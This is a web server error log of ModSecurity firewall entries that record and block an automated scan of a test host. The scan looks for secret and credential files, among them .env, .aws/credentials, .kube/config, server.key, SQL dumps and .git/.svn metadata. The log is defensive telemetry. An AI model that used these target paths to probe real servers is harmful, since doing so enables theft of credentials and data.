[Wed Jul 03 00:59:08.298259 2024] [:error] [pid 172793] [client 213.232.87.228:56573] [client 213.232.87.228] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.production&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.production&quot;] [unique_id &quot;ZoSGPANSb97irXcEY4yRrgAAAAU&quot;]
[Wed Jul 03 00:59:08.298727 2024] [:error] [pid 172793] [client 213.232.87.228:56573] [client 213.232.87.228] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.production&quot;] [unique_id &quot;ZoSGPANSb97irXcEY4yRrgAAAAU&quot;]
[Wed Jul 03 00:59:08.299145 2024] [:error] [pid 172793] [client 213.232.87.228:56573] [client 213.232.87.228] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.production&quot;] [unique_id &quot;ZoSGPANSb97irXcEY4yRrgAAAAU&quot;]
[Wed Jul 03 00:59:08.301176 2024] [:error] [pid 172790] [client 213.232.87.228:18425] [client 213.232.87.228] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.db&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.svn/wc.db&quot;] [unique_id &quot;ZoSGPP4gsg4mWPNAylogLgAAAAE&quot;]
[Wed Jul 03 00:59:08.301552 2024] [:error] [pid 172790] [client 213.232.87.228:18425] [client 213.232.87.228] ModSecurity: Warning. Matched phrase &quot;/.svn/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.svn/ found within REQUEST_FILENAME: /.svn/wc.db&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.svn/wc.db&quot;] [unique_id &quot;ZoSGPP4gsg4mWPNAylogLgAAAAE&quot;]
[Wed Jul 03 00:59:08.302070 2024] [:error] [pid 172790] [client 213.232.87.228:18425] [client 213.232.87.228] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.svn/wc.db&quot;] [unique_id &quot;ZoSGPP4gsg4mWPNAylogLgAAAAE&quot;]
[Wed Jul 03 00:59:08.302486 2024] [:error] [pid 172790] [client 213.232.87.228:18425] [client 213.232.87.228] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.svn/wc.db&quot;] [unique_id &quot;ZoSGPP4gsg4mWPNAylogLgAAAAE&quot;]
[Wed Jul 03 00:59:08.306194 2024] [:error] [pid 172171] [client 213.232.87.228:2313] [client 213.232.87.228] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.key&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/server.key&quot;] [unique_id &quot;ZoSGPASUx8iTEun0GQdRAQAAAAQ&quot;]
[Wed Jul 03 00:59:08.306510 2024] [:error] [pid 172171] [client 213.232.87.228:2313] [client 213.232.87.228] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/server.key&quot;] [unique_id &quot;ZoSGPASUx8iTEun0GQdRAQAAAAQ&quot;]
[Wed Jul 03 00:59:08.306662 2024] [:error] [pid 172172] [client 213.232.87.228:11869] [client 213.232.87.228] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dump.sql&quot;] [unique_id &quot;ZoSGPLnQ6Hj3gbsgZfXYbwAAAAY&quot;]
[Wed Jul 03 00:59:08.306680 2024] [:error] [pid 172171] [client 213.232.87.228:2313] [client 213.232.87.228] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/server.key&quot;] [unique_id &quot;ZoSGPASUx8iTEun0GQdRAQAAAAQ&quot;]
[Wed Jul 03 00:59:08.306955 2024] [:error] [pid 172172] [client 213.232.87.228:11869] [client 213.232.87.228] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dump.sql&quot;] [unique_id &quot;ZoSGPLnQ6Hj3gbsgZfXYbwAAAAY&quot;]
[Wed Jul 03 00:59:08.307174 2024] [:error] [pid 172172] [client 213.232.87.228:11869] [client 213.232.87.228] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dump.sql&quot;] [unique_id &quot;ZoSGPLnQ6Hj3gbsgZfXYbwAAAAY&quot;]
[Wed Jul 03 00:59:08.308402 2024] [:error] [pid 172173] [client 213.232.87.228:27923] [client 213.232.87.228] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web.config&quot;] [unique_id &quot;ZoSGPAg4yg-cxaN2E3S_mAAAAAc&quot;]
[Wed Jul 03 00:59:08.308588 2024] [:error] [pid 172173] [client 213.232.87.228:27923] [client 213.232.87.228] ModSecurity: Warning. Matched phrase &quot;/Web.config&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /Web.config found within REQUEST_FILENAME: /web.config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web.config&quot;] [unique_id &quot;ZoSGPAg4yg-cxaN2E3S_mAAAAAc&quot;]
[Wed Jul 03 00:59:08.308760 2024] [:error] [pid 172173] [client 213.232.87.228:27923] [client 213.232.87.228] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web.config&quot;] [unique_id &quot;ZoSGPAg4yg-cxaN2E3S_mAAAAAc&quot;]
[Wed Jul 03 00:59:08.308944 2024] [:error] [pid 172173] [client 213.232.87.228:27923] [client 213.232.87.228] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web.config&quot;] [unique_id &quot;ZoSGPAg4yg-cxaN2E3S_mAAAAAc&quot;]
[Wed Jul 03 00:59:08.391598 2024] [:error] [pid 172793] [client 213.232.87.228:35381] [client 213.232.87.228] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;ZoSGPANSb97irXcEY4yRrwAAAAU&quot;]
[Wed Jul 03 00:59:08.392096 2024] [:error] [pid 172793] [client 213.232.87.228:35381] [client 213.232.87.228] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;ZoSGPANSb97irXcEY4yRrwAAAAU&quot;]
[Wed Jul 03 00:59:08.392567 2024] [:error] [pid 172793] [client 213.232.87.228:35381] [client 213.232.87.228] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;ZoSGPANSb97irXcEY4yRrwAAAAU&quot;]
[Wed Jul 03 00:59:08.398637 2024] [:error] [pid 172172] [client 213.232.87.228:54597] [client 213.232.87.228] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup.sql&quot;] [unique_id &quot;ZoSGPLnQ6Hj3gbsgZfXYcAAAAAY&quot;]
[Wed Jul 03 00:59:08.399236 2024] [:error] [pid 172172] [client 213.232.87.228:54597] [client 213.232.87.228] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup.sql&quot;] [unique_id &quot;ZoSGPLnQ6Hj3gbsgZfXYcAAAAAY&quot;]
[Wed Jul 03 00:59:08.399532 2024] [:error] [pid 172172] [client 213.232.87.228:54597] [client 213.232.87.228] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup.sql&quot;] [unique_id &quot;ZoSGPLnQ6Hj3gbsgZfXYcAAAAAY&quot;]
[Wed Jul 03 00:59:08.401805 2024] [:error] [pid 172173] [client 213.232.87.228:16663] [client 213.232.87.228] ModSecurity: Warning. Matched phrase &quot;.aws/credentials&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .aws/credentials found within REQUEST_FILENAME: /.aws/credentials&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials&quot;] [unique_id &quot;ZoSGPAg4yg-cxaN2E3S_mQAAAAc&quot;]
[Wed Jul 03 00:59:08.402155 2024] [:error] [pid 172173] [client 213.232.87.228:16663] [client 213.232.87.228] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials&quot;] [unique_id &quot;ZoSGPAg4yg-cxaN2E3S_mQAAAAc&quot;]
[Wed Jul 03 00:59:08.402465 2024] [:error] [pid 172173] [client 213.232.87.228:16663] [client 213.232.87.228] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials&quot;] [unique_id &quot;ZoSGPAg4yg-cxaN2E3S_mQAAAAc&quot;]
[Wed Jul 03 00:59:08.503309 2024] [:error] [pid 172790] [client 213.232.87.228:25387] [client 213.232.87.228] ModSecurity: Warning. Matched phrase &quot;.kube/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .kube/ found within REQUEST_FILENAME: /.kube/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.kube/config&quot;] [unique_id &quot;ZoSGPP4gsg4mWPNAylogMAAAAAE&quot;]
[Wed Jul 03 00:59:08.503613 2024] [:error] [pid 172790] [client 213.232.87.228:25387] [client 213.232.87.228] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.kube/config&quot;] [unique_id &quot;ZoSGPP4gsg4mWPNAylogMAAAAAE&quot;]
[Wed Jul 03 00:59:08.503863 2024] [:error] [pid 172790] [client 213.232.87.228:25387] [client 213.232.87.228] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.kube/config&quot;] [unique_id &quot;ZoSGPP4gsg4mWPNAylogMAAAAAE&quot;]
[Wed Jul 03 08:59:22.765927 2024] [:error] [pid 180072] [client 179.43.188.122:34804] [client 179.43.188.122] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;ZoT2yvrJag6DYtsbRZfl6wAAAAc&quot;]
